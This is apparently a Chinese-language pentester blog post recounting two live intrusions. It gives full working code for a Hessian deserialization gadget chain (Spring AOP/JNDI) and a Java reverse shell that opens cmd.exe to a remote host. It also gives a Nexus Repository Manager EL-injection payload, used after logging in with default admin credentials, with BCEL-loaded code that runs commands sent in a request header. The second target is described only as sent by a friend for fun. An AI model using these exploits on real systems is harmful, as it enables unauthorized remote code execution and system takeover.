哎,今年怕是连厂都进不了了,有没有人收留我啊,混口饭吃~

hessian反序列化

在某公司实习的时候参与了众测项目,扫到了一个很奇怪的站,中间件为jetty

随便POST一个参数报错,发现是直接对POST参数进行反序列化,看到HessianInput.readObject就懂了,hessian可以打无依赖链,也可以打Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder等等,测试发现是windows操作系统

查找类的相关信息

发现跟 https://gitee.com/xuxueli0323/xxl-job 这个项目很像,以前是出过一次hessian反序列化漏洞的:xxl-job api未授权Hessian2反序列化,使用的是SpringPartiallyComparableAdvisorHolder这条链

SpringPartiallyComparableAdvisorHolder链

利用条件:存在 org.springframework:spring-aop 依赖

具体就不分析了,主要是HotSwappableTargetSource.hashcode()使得p.hash == hashXString.equals()触发tostring()和反射的调用
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class Hessian_SpringPartiallyComparableAdvisorHolder {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://127.0.0.1:6666/";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

setFieldValue(bf, "logger", new NoOpLog());
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(aif, "beanFactory", bf);
setFieldValue(aif, "name", jndiUrl);

AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(advice, "aspectInstanceFactory", aif);

AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(advisor, "advice", advice);

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = createWithoutConstructor(pcahCl);
setFieldValue(pcah, "advisor", advisor);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);

//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();

//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
lookup:417, InitialContext (javax.naming)
lambda$lookup$0:157, JndiTemplate (org.springframework.jndi)
doInContext:-1, 532854629 (org.springframework.jndi.JndiTemplate$$Lambda$1)
execute:92, JndiTemplate (org.springframework.jndi)
lookup:157, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:96, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:271, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:279, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:245, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:238, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:136, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:223, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:66, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:147, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)

getshell

使用JNDIExploit工具可以打Dnslog,但反弹shell是不支持windows的,内存马写不进去,无回显,最终考虑加载反弹shell的java字节码文件

java的反弹shell代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class ReverseShell {
static {
try{
String host = "127.0.0.1";
int port = 6666;
String cmd = "cmd.exe";
//String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s = new java.net.Socket(host, port);
java.io.InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
java.io.OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) {
so.write(pi.read());
}
while (pe.available() > 0) {
so.write(pe.read());
}
while (si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
} catch (Exception e){}
}
}

然后拿marshalsec打

成功反弹shell,拿下

Nexus Repository Manager EL表达式注入

近期又遇到一个站,是爬哥发给我的,说很好玩

发现是Nexus Repository Manager,版本为OSS 3.15.2-01,历史漏洞有CVE-2020-10199、CVE-2020-10204

影响版本:
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

但发现都是后台的洞,需要登录才能打,测试一下弱口令admin、admin123发现成功进入后台。。。
后台api接口:/#admin/system/api

管理员利用点在/service/extdirect这里,新建用户/更新用户可以执行EL表达式,首先将NX-ANTI-CSRF-TOKEN添加到Header头中
使用exp:

1
{"action":"coreui_User","method":"create","data":[{"userId":"test","version":"","firstName":"test","lastName":"test","email":"test@test.com","status":"active","roles":["$\\A{6*6}"],"password":"test"}],"type":"rpc","tid":123}

成功解析,尝试命令执行,但是发现反射的时候执行invoke方法失败了
最终使用com.sun.org.apache.bcel.internal.util.ClassLoader来加载bcel编码过后的类
参考Hu3sky师傅的回显代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public class Echo_WebContext {
static {
try {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);

java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper2 = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse2 = Wrapper2.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper2.getMethod("getRequest").invoke(statusResponse2);
Object request1Real = Wrapper2.getMethod("getRequest").invoke(request1);
String[] cmds = {"cmd.exe","/c" , (String)request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"cmd"})};

String sb = "";
java.io.BufferedInputStream in = new java.io.BufferedInputStream(Runtime.getRuntime().exec(cmds).getInputStream());
java.io.BufferedReader inBr = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
writer.write(sb);
writer.flush();
inBr.close();
in.close();
}
}
}
}

} catch (Exception e) {
}
}
}

poc:

1
${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$' + code).newInstance()}

成功回显

参考:
CVE-2020-10204 Nexus Repository Manager 3-远程执行代码漏洞分析
Nexus Repository Manager(CVE-2020-10199/10204)漏洞分析及回显利用方法的简单讨论
CVE-2020-10204/CVE-2020-10199 Nexus Repository Manager3 分析&以及三个类的回显构造